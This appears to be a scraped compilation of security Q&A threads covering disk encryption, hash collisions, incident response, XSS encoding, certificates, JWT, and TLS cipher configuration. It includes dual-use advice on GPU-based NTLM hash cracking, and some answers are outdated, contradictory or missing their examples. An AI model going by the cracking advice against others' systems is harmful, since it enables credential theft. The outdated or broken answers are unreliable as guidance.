The solution is to do away with passwords all together and move towards strong 2-Factor type authentication, where offline cracking isn't feasible. Unfortunately companies have only been seriously thinking about alternatives to passwords for less than a decade and the offerings are far from polished (they are plagued with convenience and usability problems which are preventing mass adoption), so in the meantime we get to continue having these useless debates comparing one mostly useless password scheme against another. End opinion.


Securing data on laptop's hdd I was wondering which is the best way to secure/encrypt data in the hard disk on a laptop that runs Ubuntu Oneiric? Setting LVM encryption?

I am mostly concerned about having my laptop lost or what ever, and I do have some sensitive information on the laptop I usually carry with me. I am not worried about backing up the data, because the data is always located on 2 computers and synced between them.

LVM encryption would work, and probably other alternatives too (like truecrypt)

Hard to tell which one would be the best, since one might be easier to setup, another one could be faster, and so on.

Since your goal is to protect sensitive information, and LVM enc. could do the job, I'd stick with it.

Just be carefull if you loose your notebook and then recover it. Someone could insert some pre-ubuntu-boot app that could steal your password before the ubuntu takes action, for example.


Is it known to what message size are standard hash functions injective? This simple Python script verifies that all messages of length 1 have different SHA-1 hashes:

import hashlib
s = set()
for i in range(256):
    s.add(hashlib.sha1(chr(i)).hexdigest())
print len(s)

Is it known up to which message sizes are cryptographic hash functions such as SHA-1, SHA-2 or MD5 injective? In other words (for each hash function):

What are the shortest two messages with the same hash?
What's the smallest n such that there exist two messages of length n with the same hash?

(edit) This assumes "ideal" hash function design (a one-way function with no internal structure).  Actual implementations approximate this, and may have flaws which make them more predictable than they should be.

According to Wikipedia (summary bar on the RHS), "No actual collisions have yet been produced" for SHA-1.  The best we've done is find algorithms that "should" find collisions eventually.  SHA-1 has predictable collisions (SHAttered), but these collisions are definitely not the shortest, because they involve a prefix longer than the hash itself.

Since the point of a hash function is that any change (even a single bit) should change the whole result in a basically pseudorandom way, you're essentially looking at the birthday problem.

The table on this Wikipedia page lists the tradeoff between how many inputs you have and how worried you should be about a collision.  This other table here lists the "security" of each hash (in bits).

An example calculation: for SHA-512, with 256 bits of security, you have to be looking at 10^32 before you start to get problems.  log2(10^32) is about 106 bits, which means you should start worrying about collisions after about 13 bytes.  However, if you're picking them randomly, you might have other issues at that point, like your electricity bill and the death of the Sun.


Shouldn't user content return 403 forbidden? If I copy the URL for a shared or private image from sites like fbcdn.net or googleusercontent.com and open it in a logged out session, the images appear.

Shouln't this return a 403 forbidden error (like Dropbox) instead of giving a malicious user access to private content?

This is called capabilities-based security and it's a good option when you have highly distributed shared content.

All users that require access are given a unique URL which is equivalent to a token.

The drawback is that if the "token" is leaked unauthorized users will be allowed to access the content, but the scope can be limited by expiring the tokens, and in any case it's used for semipublic content only.

Also, for social network content like images the mechanisms by which the tokens can be leaked is the same mechanisms by which the images themselves can. The token is not guessable (or at least shouldn't be)

I believe the answer here is official by Facebook.


Server Compromised. Steps to determine further damage on the network? So one of your servers is compromised. You determine this because you notice a weird process running (as root, unfortunately). No helpful information about this process from Googling around.

First things first, let's clean this known dirty server up. Nuke it from orbit, see ya later. How do I deal with a compromised server? is a good guide for dealing with that server.

Now, a process running as root on a box inside the internal network does not give me a lot of confidence that this attack is contained to just this single server, however, I can't immediately find any signatures on other boxes. It is going to be a massive task, likely with substantial data loss or downtime, to fully nuke the entire infrastructure and rebuild.

What steps should you take to feel confident an attack has not spread to other servers on the network?

Bonus: This is a broad question. I can't find any good resources for describing current best practices for dealing with incident response/forensic analysis. Do any resources exist?

"What steps do you take to feel confident..." Restore from back up. Now you said running as root so I will assume this is a Unix variant (Linux/BSD/etc) here are some things you can do to give you a baseline of what may be going on. 1) Take the machine offline if possible:

mkdir /tmp/DFIR
netstat -a | grep -i "tcp\|udp\|icmp" >> /tmp/DFIR/connections.txt
last >> /tmp/DFIR/lastlogins.txt
lsof ID_OF_SUSPICIOUS_PROCESS >> /tmp/DFIR/suspicious-PID.txt

Now that you have an idea of baseline things to look at, this will likely be a waste of time. Depending on what was used to get in, whether or not there is a backdoor, logfiles were erased, it can be a time consuming task. But if you want to continue...

Once you have the PID of the suspicious process, you can determine (if timestomp or chage wasn't used) when it came to light/modifications via the MACE times. You can take a stab at trying Volatility but unless you are already familiar with the gist of forensics, memory analysis is time consuming.

Now I will stop since the initial question was broad, you stated root, and for all I know, you're using Windows. My advice, restore from a backup unless there is something where you intend on pursuing civil or criminal charges. In which case, you would need an expert.

ADDED (EDIT)

Before you nuke the system, I would create a YARA signature to look for whatever you saw. I would definitely do the netstat to monitor connections, on the next install of ANYTHING, I would create a hardened remote syslog server, minimize access to the principle of least privilege, for starters. But again, as mentioned the question is really broad from the onset.


Why is my IP address different when I connect to a vpn? If for example I connect to PIA VPN, and I hover over the icon on my toolbar, next to the volume, wifi, and battery symbol on a mac, it shows me one ip address (IP A) that is different from my actual IP (IP O). When I go on PIA's website, it shows me a separate IP address (IP B) however it says I am protected. The IP address on the website (IP B) is different from my actual IP address (IP O) as well as the one that is on my toolbar (IP A). What IP address is being used? Also, how many IP addresses do we have? And which IP address does the VPN hide? And if it doesn't hide the other IP address, how can I hide that?

Hard to sort this out without more info, but I believe:

IP A is probably a private IP only used inside your network (10.x.x.x/192.16.x.x/172.16-31.x.x)

IP O is your public IP (what the rest of the world sees, pre-VPN connection)

IP B is the IP the VPN gives you to browse the web

Go to something like https://www.whatismyip.com/, that'll show you what the world will see as you browse.


Why context sensitive encoding to prevent XSS? OWASP recommends that context-sensitive encoding needs to be done. Please help me in getting a couple of strong "code examples" on why context sensitive based encoding needs to be done and why HTML encoding alone won't help in those cases?

I know that it can help for unquoted attributes (is also explained in 2) but for now let us assume that entire world is using quoted attributes [I know its impossible but just let's assume :/], can you help me in providing two more examples where HTML encoding will not help and lead to XSS attacks which would be protected if we had used context-sensitive encoding functions provided by 3 (this is the only context sensitive encoding library present in market that I know of)?

I'm going to use a few examples where various forms of HTML encoding will not help.  All of these are cases I have actually seen in practice.  I will use {{foo}} for the variable to be substituted.  I assume HTML encoding involves replacing < with &lt; and > with &gt;.  If you also escape both single and double quotes, some of them will no longer be exploitable, but some will be.

Clicky

{{foo}}

You might want to check out this blog post for more details.


RSA Key, String vs Hex vs Base64 vs byte-array represantational form ....key is normally a string of bits used by a cryptographic algorithm to transform plain text into cipher text or vice versa....

https://www.di-mgt.com.au/cryptokeys.html

Suppose I have a Backend server which stores some public keys user submits using some FrontEnd page.

Presumably the user is going to copy paste the key in some HTML text-field  to submit it to the server, which will encrypt the key and store it.

The question is : what is the recommended way of representing/submiting an encryption key?

Should it be converted in byte-array, HEX or Base64 ?

If so, who is responsible for this conversion ? Frontend ? User? Backend?

The scope is to avoid key alteration due different String encodings like UTF-8, UTF-16 etc.

It does not matter how it is represented as long as it is a pure ASCII encoding, i.e. hex, base64, base32 or similar are all fine while pure binary is not. UTF-whatever makes no sense at all since it is not about characters but bytes.

It also does not matter where the transformation is done, i.e. backend, frontend ... . In fact, some backend applications even require ASCII encoded data, like with PEM encoded certificates or keys. But if binary is required the conversation can also be done inside the browser since HTTP by itself has no problems to transfer binary data.


Is it the responsibility of a certificate authority to ensure an SSL is not used for nefarious purposes? I read this in the news recently

  Let's Encrypt has issued 15,000 SSL certificates to PayPal phishing
  sites (Security experts call on firm to refuse certificates for
  domains containing popular brand names)

https://www.theinquirer.net/inquirer/news/3007326/lets-encrypt-has-issued-15-000-ssl-certificates-to-paypal-phishing-sites

I'm aware that HTTPS doesn't necessarily indicate a site you can trust, only that the connection is secure. However, does the issuer have a responsibility either legal and/or moral to police how it's certificates are used?

Is it the responsibility of a certificate authority to ensure an SSL is not used for nefarious purposes?

No.
A CA has a responsibility to verify that the person requesting a certificate for a domain actually owns the domain in question. It is not up to the CA to perform censorship of domain names, nor to police what people do with a certificate once they have it.

Now, your concern is already kinda addressed by the higher levels of SSL certificates, but it's up to the corporation applying for the cert to spend the extra time and money to get it.
There are effectively two levels of certificates you can buy: Domain Validation (DV) and Extended Validation (EV). DV certs are designed to have automated issuance and are the type of cert that Let's Encrypt issues. EV certs have much higher levels of vetting before issuance, and require phone calls, paperwork, etc.
wikipedia/Extended_Validation_Certificate:

Issuing criteria
Only CAs who pass an independent qualified audit review may offer EV,[5] and all CAs globally must follow the same detailed issuance requirements which aim to:

Establish the legal identity as well as the operational and physical presence of website owner.

Establish that the applicant is the domain name owner or has exclusive control over the domain name.

Confirm the identity and authority of the individuals acting for the website owner, and that documents pertaining to legal obligations are signed by an authorised officer.

Note that for EV certs, the legal entity applying for the cert needs to be a corporation, not an individual, and the corporation name is included in the cert, and appears in the status bar of your browser.
ex: non-EV cert:

ex: EV cert:

Notice how PayPal's legal name appears in the address bar? That is next to impossible to spoof, and we are raising the bar for spammers: the only way to get "PeyPal, inc" there would be to actually incorporate a company, which criminal organizations typically don't want to do. So once users get used to looking for this on big-name websites, this problem will kinda solve itself. Unfortunately, because of the amount of manual verification involved, EV certs are expensive (hundreds of $USD per year), and CAs like Let's Encrypt or godaddy will never offer them.

Generally speaking, a CA is like the passport office or the bureau that issues driver's licences; they have a responsibility to ensure that A) you are who you say you are, and B) that you have met the requirements (ie you are a citizen / you have passed your driving tests). They have no responsibility to track what you are doing with that ID, nor is it legal for them to revoke your passport / driver's licence even if you do use them for illegal purposes.

Addressing comment:

Is there a history of certificate issuers revoking certificates because of nefarious use, even though they don't have a legal responsibility to do so?

No, Definitely not. A CA would get shut down if they did that.
Think about it this way: Certificate Authorities need to be a completely neutral and globally trusted 3rd party. If they have the power to make judgments on what counts as "nefarious" and revoke certificates based on that, then they wouldn't be neutral and globally trusted, now would they?
You might think that the browser could get together and make a strict set of rules for what counts as "nefarious" so that the CAs are then only enforcing the rules. But what would that actually accomplish? Phishers and scammers are very good at slipping through the rules. We would likely spend more time and effort arguing about the rules than the amount of benefit we'd get from it.


Tools and computer specs for password cracking To polish my penetration testing skills I want to attempt to crack NTLM/NTLMv2 hashes (via dictionary/wordlist attack) extracted from Active Directory / SAM database, where the underlying passwords consist of 14+ characters, and have a few questions regarding this:

What tools would be the most effective and cost/time-efficient for such a job? Googling seems to point at hashcat or John the Ripper.
What would be the recommended computer specs for a workstation for such a task?
Regarding the computer specs it seems like most of the tools either rely on GPU or CPU. Is there anything else I should consider?
Any other aspects I should be aware of?

Thank you in advance!

Your question is very broad, so honestly all I can do is give some very broad advise. You need to provide more information to get a more precise answer. In particular, try to ask yourself:

What is your budget, both monetary and power-wise?
How fast do you need these hashes cracked?
How many hashes do you have that you will try to crack?
What kind of people are creating the passwords? What language do they speak?

Without knowing this, only a very vague, broad answer can be given.

  What tools would be the most effective and cost/time-efficient for such a job? Googling seems to point at hashcat or John the Ripper.

Those are both two of the most efficient hash crackers. Hashcat in particular supports extremely efficient GPU-based hash cracking using OpenCL and hand-optimized shader kernels.

  What would be the recommended computer specs for a workstation for such a task?

This entirely depends on how fast you want to achieve success. A fast GPU (or better yet, multiple GPUs) would be a must if you want ideal performance. Historically, AMD GPUs tend to be better for this than Nvidia GPUs. AMD often has simpler and more limited cores, but a huge number of them. Nvidia has fewer cores, but they are more sophisticated. Since all you need to do is process NTLM hashes, a fast GPU with a large number of simple cores is ideal. The faster the better.

This question lacks information. Depending on your exact situation, you could use anything from a single slightly-overclocked i7 processor and a popular wordlist to a tower of fast servers with 16 high-end GPUs each and a very large and heavily-customized wordlist. Or 50 acres of Cray supercomputers and a private power plant. What is your budget? Etc.

  Regarding the computer specs it seems like most of the tools either rely on GPU or CPU. Is there anything else I should consider?

If you wish, you can buy an ASIC which is designed specifically for processing hashes. You will likely need to use a custom program for this, but a high-quality ASIC can be extremely efficient for a single task. Most likely however, for NTLM, all you will need is a good GPU (or several).

  Any other aspects I should be aware of?

You can greatly improve efficiency by using better dictionaries, better hybrid rules (Hashcat supports a number of good rulesets), etc. Raw hash-rate is only one part of the equation.

Although you can use a rainbow table, the best rainbow tables for brute forcing NTLM hashes go up to around 10 characters. Since you said all the passwords were longer than 14 characters, this may not be useful for your use-case. A (hybrid) dictionary attack may be all you can do.


How is the FileVault master key protected? FileVault has the functionality to both allow and disable user accounts from booting up the encrypted drive. Reference: this cnet article. See also the stack exchange question How does FileVault 2 work with multiple decryption keys?.

In this model (master key stored encrypted on the recovery drive for each account), what would happen in the following situations?

If there were two accounts authorized to boot the drive, one with the password 'test' and one with a decent 30-character passphrase? Is the drive more vulnerable because of that first account?
When the drive was first encrypted, the user account on that machine (NotSmartUser) has a bad password, such as 'test.' From the cnet article, I understand that the master key is encrypted with 'test' and stored in the recovery partition. Later on, a new user account (SmartUser) is created using a good 30-character passphrase, and the first account is disabled from accessing the drive. What happens to the stored copy from NotSmartUser? Is it deleted? How is it deleted?

My understanding of master keys and encrypting them with passphrases is based on this documentation from Truecrypt.

(Like you, I am making informed guesses on how things may be done in FileVault.)

If you take a machine, such that, upon boot, typing a given password is sufficient to unlock the contents, without any intervention from external systems (i.e. it also works without a network), then, by definition, that password is sufficient to recover any encryption key and, ultimately, the data. Therefore, if at some point there are two passwords which are sufficient to boot, then the security cannot be stronger than that offered by the weaker of the two passwords. If one of these passwords is "test", then security is not high...

This might be recoverable by deleting the data elements related to the weak password. The conceptual mechanism is that the encryption key for the disk is encrypted, with a symmetric encryption algorithm, using as key something which is derived deterministically from the password (with a Key Derivation Function). Say, the disk encryption key is K, and the recovery partition contains EK1(K), EK2(K),... for keys K1, K2,... derived from the various passwords which can unlock the disk. There can be extra layers of indirection.

If password 1 is weak (key K1 is derived from a "guessable" password), then we want to prevent the attacker from learning EK1(K). Deleting that value ought to be enough, because the attack model is that the attacker, as some time T, steals the hardware altogether, and thus learns all the hard disk contents at that moment, but he has no knowledge of previous contents. This is subject to the following caveats:

Whether the values for account 1, when access is disabled, gets deleted, is unclear. I don't know the answer for that. It is not easily tested (you could try to reenable access for account 1 and see if typing the password for account 1 is needed for that, but even if it is not, it does not necessarily imply that the EK1(K) was kept around, because asymmetric encryption could be used).
Whether deletion from a disk really erases the data is a semi-open question. Most filesystems, when a file is deleted, don't overwrite the file contents; they just mark the space as reusable. When the file is specifically overwritten, whether the data really dies is debated, and the answer is likely to be different for a SSD.
FileVault 2 apparently has an option to store the encryption key (or something equivalent) on Apple's servers, which opens a whole range of new questions about the abilities which are thus conferred to Apple.

To sum up, it seems safer to assume that the data confidentiality offered by FileVault will be no stronger than the weakest of all passwords for all users who ever had access to the disk.


What's the best duration for storing e-mail? We’ve all become so accustomed to using email in our daily personal and working lives that we really don’t give a whole lot of thought to it.  It’s the fastest way to communicate with others in the course of the day, and the emails we send and receive – in general – never see the light of day again once they’ve been read.
People have different opinions when it comes to the maintenance of their inbox.  Some delete messages immediately, while others have never deleted a single thing.  Somewhere between these two extremes lies the average user, who periodically takes inventory of their email and cleans out their folders.  And data backups record everything.
Amidst the thousands of emails that circulate through a company, relevant information can be found.  Reference material, contracts, personnel issues, and proprietary information mingle with meeting requests, off-topic messages, and company news, making for a sizeable amount of data.  Sifting through this mass of messages to separate the wheat from the chaff, as it were, is the reason many businesses have an email retention policy in place.

What factors should I consider to decide how long the e-mail must be stored? Is there any way to measure the duration? I mean, we can't just set 3 years as the duration without having a statistical reason. So what do you think is the best duration and WHY? Why 3 years for example.

First check with your legal expert if there are any laws in your country which require you to have a minimum retention period. For instance depending on your industry you might have to take into account either of these regulations:

Sarbanes-Oxley regulations: To comply with SOX guidelines,
companies must retain auditable emails for a minimum of five years
from the end of their last fiscal year.
FINRA rules demand that financial services firms establish formal,
written policies and procedures that detail their email retention
policies. After outlining these policies, a business must then
demonstrate that all retention processes are in full compliance with
FINRA guidelines. According to SEC 17a 3-4 you should retain email for three to six years (depending on the type of record), the first two years in a readily available location.
HIPAA regulations apply: The retention period for a medical record is a
minimum of five years, though some related rules dictate that
information should be retained for the life of the patient. (HIPAA isn't officially approved yet I think)

Also have a look at this paper published by contoural on how to build a good email retention policy.


(SoHo) Multi-Factor Authentication for Remote Desktop Gateway I am looking at implementing some sort of multi-factor authentication for a Remote Desktop Gateway at a small office (less than 20 users).

Where would be a good place to start for a quality, economically-feasible solution for a small office?

-Josh

We're running a TSG with client certificates configured to allow users to connect to their desktops. As long as you allow port 443 and properly configure the resource access policy, it works. There's a tutorial on technet on how to achieve this.

However, we're only using it for a small number of people, and we've not run into any of the licensing issues that I think sdnelson mentions. I would check this out before progressing any further.


How to implement the fix for Forward Secrecy on Debian Apache OpenSSL? My SSL test result was an A- due to forward secrecy.

I want to know how to implement the fix mentioned on this page here:
https://blog.qualys.com/ssllabs/2013/06/25/ssl-labs-deploying-forward-secrecy

Specifically the lines:

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA

In my apache2.conf file I have an SSLProtocol line and then below that I can place the SSLCipherSuite line, that's where I assume these forward secrecy fix lines are supposed to go.

For example from this question here:

https://community.qualys.com/thread/11796

I see their SSLCipherSuite line as:

ECDHE-RSA-AES128-SHA256:AES128-GCM-SHA256:RC4:HIGH:!MD5:!aNULL

Looking at the Apache SSL doc I see the pattern above.

I just don't know how to put three lines, are they separated by commmas, or use three separate lines, or do those lines go somewhere else?

These are NOT lines:

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA

These are ciphers and should go inside the SSLCipherSuite in appropriate form.

Implementation:

First, make sure that there is no other SSLCipherSuite (except vhosts) that may override your new cipher suite settings. If there is, comment it.

Then, below the commented line or below SSLProtocol line paste your cipher suite. It should look for example like this:

SSLCipherSuite ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES256-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:DHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA:!DSS

Explanation:

the first is directive (SSLCipherSuite) for Apache server
ciphers (e.g. DHE-RSA-AES128-SHA256) or cipher groups (e.g. DSS) are separated by colon (:)
exclamation mark after a colon means that this cipher or group should be left out
plus after colon means that this cipher or group should go at the end

By the way, don´t use the cipher suite you mentioned in question. RC4 is obsolete and prohibited in TLS since over a year. (Thanks @Michael Kjörling)


ASN.1 encoding of X25519 private key I'm using mbed TLS for ECDH key agreement using Curve25519. The private and public keys are stored and transmitted as Hex strings as easily generated with mbed TLS. Those strings are big-endian. This worked quite fine so far.

Now someone tried to create key-pairs using OpenSSL

openssl genpkey -algorithm X25519 -out priv.pem
openssl pkey -in priv.pem -pubout -out pub.pem

and extracted the keys directly from there to Hex strings. So just copying the key bytes using an ASN.1 viewer. We were of the impression that this should work flawlessly, as I2OSP defines big-endian for key encoding.

Obviously, it didn't work but we need to reverse the byte order in the string to be able to parse a valid key pair.

I'm tended to believe that OpenSSL does this correctly, but started to dig into the RFCs to find proof and some clarification, why this should be different for X25519 (and probably X448) to the key for RSA or the other EC curves (secp...)

  how a private key is encoded is left for the document describing the algorithm itself

but also refers to Asymmetric Key Packages which again refers to the document that defines the algorithm. While RFC5915 for ECPrivateKey defines a big-endian byte order (I2OSP), RFC7748 and RFC8031 both only mention little-endian byte order for the formatting of the keys. - draft-ietf-curdle-pkix-10

Now, this somehow confirms to me, that OpenSSL is right, but I'm still missing the reason to why one should not just use network-order as done by every other algorithm out their, but the direct opposite.

Any thoughts and further information on that?

the *25519 algos specify little-endian. I myself was taken aback by that, so I tried to figure out why.
My understanding is that the point of Ed25519 and its relatives is to pick out of the wide space of possible curves and implementations a subset both efficient and resistant to a number of attacks. To that end, it specifies both calculation steps, primitives, and the representation to be used - which is little endian.

So, the key representation you get here is exactly as used in the algorithm. The only point in reversing it (and needing to reverse again before use) would be the consistency of key representation, and some distaste for little-endian.

And because we're all trying to be mature, someone made the decision to keep the key as the algorithm would expect it for use, to save others unnecessary conversions and confusion.


Alice and Bob agree to give a message to Carol This is a real-life encryption problem that came up today, and I haven't been able to determine a solution. In essence:

1. Alice can encrypt payloads using Carol's public* key.
2. Bob cannot encrypt or decrypt messages to/from Carol.
3. Alice cannot deliver messages to Carol without Bob's permission.
4. Bob only gives permission to Alice if he agrees with the content of the payload.

* Carol's public key is given only to Alice, and is done so both offline and securely.

The goal is so that neither Alice or Bob can be malicious alone in this scenario. If they collaborate and are malicious to Carol, so be it. We can also add any extra encryption, as long as we don't bend the rules too much, especially with Carol who is an outside entity.

Point 1 is no problem, since Alice has the public Key.
Point 2 is no problem, since only Alice was given the Key.
Point 3 is simple, due to the implementation of a separate communication channel that Bob has with Carol and Alice does not.
Point 4 is where the problem lies.

Failed solutions:
1. Give Carol's private key to Bob. In doing so, Bob can confirm the message that Alice has created. However, we are unable to get Carol's private key.
2. Give Bob a method of generating Alice's payload from the plaintext, AKA with Carol's public key. This however breaks point 2, since now Bob can generate messages without Alice.

I feel like the solution to the problem will be similar to failed solution #2, with a way of giving Bob both the plain-text and the payload, as well as some sort of supporting document that confirms the two are the same.

You need to use signatures instead of encryption.

Eg. Alice signs a message with her private key and optionally encrypys it with Bobs key. Bob decrypts the message (if encrypted), signs it, opyionally encrypys it with Carols public key and sends it to Carol. Carol checks that the message is signed by both Alice and Bob.


Does Tor help us to prevent ISP tracking? If Tor is able to hide the IP address of the machine and make us anonymous, then does it prevent the ISP from tracking us?

You cannot hide how much data you are sending and when you are online. But, Tor encrypts data and sends it through proxies before it reaches the target server, so that hides the contents of the communication and to which website or server you are talking. You can also try to hide that you are using Tor, but this is difficult and a determined ISP will be able to determine that you are using Tor.

The first proxy will decrypt the outer layer of encryption and send it on to a middle proxy. The middle proxy does the same and sends it onto the final proxy. The final proxy finally decrypts your original request, so be aware that they can see the contents of what you are sending and to which website or server it is being sent. But they don't know that it came from you.

Note that, while the final proxy can see the contents, if you use "https" then the contents are still encrypted. I would not do internet banking over Tor unless you know very well what you should be checking (IDN homoglyph attacks, the certificate, perhaps other things), but generally speaking: https encrypts your communication. They can still see which website you are talking to, though, since contents encryption does not hide routing information (the page request, form data, etc. still needs to get to the right website).

See also the top hit on duckduckgo for "tor isp tracking": Does my ISP know what sites I have visited if I am using Tor?


Would encrypting a signed JWT prove viable to secure claims payload? I am working on a server-client web application, and as an authentication scheme, I am issuing base64 encoded json web tokens. Consider the following token...

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ

Decoded as such...

{
  "alg": "HS256",        // header
  "typ": "JWT"
},
{
  "sub": "1234567890",   // payload
  "name": "John Doe",
  "admin": true
},
HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), 'secret') // signature

My concern is with the payload portion of this token, where I wish to supply defined claims e.g. "role": "readonly". My concern is with these values being visible and tampered with by the end user once issued. Modifying this portion will not invalidate the signature check. I don't wish to persist any data on the server to re-check/compare issued tokens - I wish to keep the server completely stateless.

I thought maybe signing the token, encrypting it via AES 256, and using this as my "token". The flow would be summarized as such...

generate and sign base64 encoded token
encrypt token server side via AES 256
Issue encrypted token to client

request recieved, encrypted token supplied
decrypt token server side
validate base64 encoded original token signature (now able to ensure claims have not been altered)

My thoughts are, the claims (payload) will not be seen, and any tampering with this encrypted value will obviously not decrypt as expected server side. My question is - is this viable? I couldn't find much on the web for encrypting whole tokens. Is there a better way?

I believe you are asking two questions:

does changing payload invalidate signature: TL;DR: yes
does adding encryption over JWT give you authenticity of content: TL;DR:  don't encrypt yourself, use JWE!

Here are the answers in more detail:

(1) According to the specifications,
https://www.rfc-editor.org/rfc/rfc7515.txt

the signature of a signed JWT (JWS) is computed over the protected header as well as the payload:

(see section 5.1.  Message Signature or MAC Computation)

Compute the JWS Signature in the manner defined for the
       particular algorithm being used over the JWS Signing Input
       ASCII(BASE64URL(UTF8(JWS Protected Header)) || '.' ||
       BASE64URL(JWS Payload)).

So changing the payload should invalidate the signature.

(2) Do NOT encrypt your own JWT!! There is an actual specification that defines how to encrypt JWTs (called JWE):
https://www.rfc-editor.org/rfc/rfc7516.txt

JWE uses authenticated encryption which means that the plaintext is first encrypted and then an integrity check is produced over the ciphertext.
You can get more info on what the plaintext looks like from Section 5.1 of above Spec.

It is possible to securely store access policies in the payload of your JWT if you use either encrypted or signed formats. You may want to use encrypted if you don't want the client or other parties to have any knowledge of the policy data. If you don't care who can read it and you only care about who can change the values, use signatures only.

Remember though that the more security you add, the bigger the performance impact so use your judgement on what is needed.

Final note: Key management of the signature and encryptions keys also becomes an important issue for you to consider, because at the end of the day, whoever has access to the keys can decrypt your JWE or modify the signature of your JWS. So make sure you use good safety practices in where you store the actual keys, who has access to them and how they are used and kept in memory.


What PCI standard(s) a payment app (for Smartphones) should comply with in order to be approved by PCI SSC? We are a company developing apps for Payment Service Provider(s) and in one of our apps Card Holders should enter payment Card data (such as PAN, PIN 2, CVV, Expiration Date) to do a CNP (Card Not Present) payment transaction and PAN is stored for ease of data entry in the future use.

The main standards that we are trying to comply with are PA DSS (v3.0) as well as PCI DSS.

I want to know whether there is any other standard that we should comply with. For example, the communication between Apps and Back – End services must be secure. Is there any standard for that? Should we apply PCI P2PE to our apps?

Only a QSA can give you a qualified answer, but I can give you my understanding.

It seems like you need to define your scope further, do you need both PA-DSS and PCI-DSS? You'd likely only need that if you are offering a service as well as providing the software to third parties to control and use. Is that the case?

But to answer your questions, you'd likely need to comply with other security standards such as OWASP or an equivalent, and implementation standards such as TLS 1.2. The PCI standards will dictate what those standards need to be. My understanding is P2PE is for card present transactions.

Your title to this post mentions approval by the PCI SSC, but you don't require their approval, you require your clients approval only. Given your clients are payment service providers, they are probably well versed in PCI, so you can just ask them what they require from you. Remember PCI is contract based.

Otherwise, from your description you would be open to every aspect of PCI compliance which could be quite a painful process. It would be worth engaging a QSA to help you define your scope, if you have not done so already, so you're not pursuing standards you may not need.

Good luck!


How to extend x509 certificate validity I have two x509certificate, and now they are expired. What I would do is to extend the validity date of these certificates (I don't want t creat new one).
Can I do this with openssl or other tools ?

No, the only way to change the validity date is to re-issue.

The reason is that the certificate's hash is calculated after the rest of the certificate is written, editing that field would cause the certificate's hash to change. If the hash is changed anyone else checking the certificate will know it has been altered, but won't be able to tell what changed. While this won't automatically prevent a connection, it will throw errors and warnings.


AD user recreation, security issue I have some users that prefer to create a new user account instead of resetting the password (or investigating why there is an issue with the account). Then delete the old account.

I've personally found that this is generally bad practice for an admin and a suspicious pattern from a security point of view (user SID change, so we may lose user traceability).

Do you think this is a real security concern?

The practice is always that all accounts must be approved by the system owner, not the admin. That means that any new account needs justification, definition, visibility, and is audited regularly to determine that the account is still valid.

Creating tons of user accounts and not disabling/deleting them is a massive problem. Each one can be exposed and because there is on one monitoring them, they can do anything.

Traceability is not a major concern, there will just be a lot of SIDs to track for the same user if you need to correlate activity.

My bigger concern is that this indicates a lot of other issues around administration that would likely need to be addressed.


OS fingerprinting protection - why not by default? This article describes how to fool nmap in it's OS fingerprinting detection.

In short, nmap sends malformed packets to open and closed ports and listens to the responses. Because every OS implements it's own TCP/IP stack, the response can be matched against a database of known signatures and the OS guessed.

The two ways of mitigating this are

Patch the kernel source with "stealth patch"

  This patch simply discards the TCP/IP packets received with the
  following matches:

  Packets with both SYN and FIN activated (tcp_ignore_synfin) (QueSO probe).
  Bogus Packets: if the TCP header has the res1 bit active (one of the reserved bits, then it's a bogus packet) or it does not have any
  of the following activated: ACK, SYN, RST, FIN (Nmap test 2).
  Packets with FIN, PUSH and URG activated (Nmap test 7).

Patch the kernel sources with "IP Personality" in order to modify the TCP/IP stack's behaviour in those corner-case situations, emulating another OS (Sega Dreamcast for example)

While the latter approach can have some efficiency/stability issues:

  Tweaking those allow to fool a scanner but might break regular connectivity by changing network parameters. It could also make the system weaker if the emulated IP stack is not as strong as the initial one

the former has no drawbacks mentioned.

Why is this not default behaviour. Why do operating systems respond to those packets?

OSes respond to invalid packets because that is very helpful in diagnosing network configuration problems. If you send a packet and nobody answers, you have no idea what happened to the packet: did some router eat it? Was its reply misrouted? Is there a connectivity problem? Or did the target receive the packet but not like it? If the target replies, you know why the packet was rejected, and you get a serious chance of being able to fix the problem.

OS fingerprinting is not a security issue. It's helpful for finding vulnerabilities, but only on systems with unpatched security holes. If you have a system with unpatched security holes, patch them: making your system unrecognizable by fingerprinting will only protect you against a small proportion of automated scans that need to optimize for bandwidth.

OS fingerprinting is a small privacy issue. It's not a major one: most people don't care, for good reason.

Furthermore, eliminating one method of fingerprinting isn't enough: you have to eliminate all methods. So your anti-fingerprinting protection is only good until someone tries another fingerprinting method.

The benefit is small and uncertain. The drawback is major. OS fingerprinting protection should default off.


Managing website passwords for small team I'm part of a small group of people who manage a website and the server it runs on. We have many accounts with third-party websites or services that multiple people on the team need to access. What is the best practice password policy to use in this situation? The policy needs to accommodate many accounts on other sites (say, more than a dozen), as well as how the passwords are shared among team members (and changed if members leave).

Edit: To response to this.josh's comment, as I mentioned, more than 10 third-party accounts. Most of the accounts are standard password-protected accounts where there must be one for the whole team (these are services associated with the website as a whole, like the Amazon Affiliates program or reCAPTCHA). The services provided vary, few are critical, but they are still important to protect.

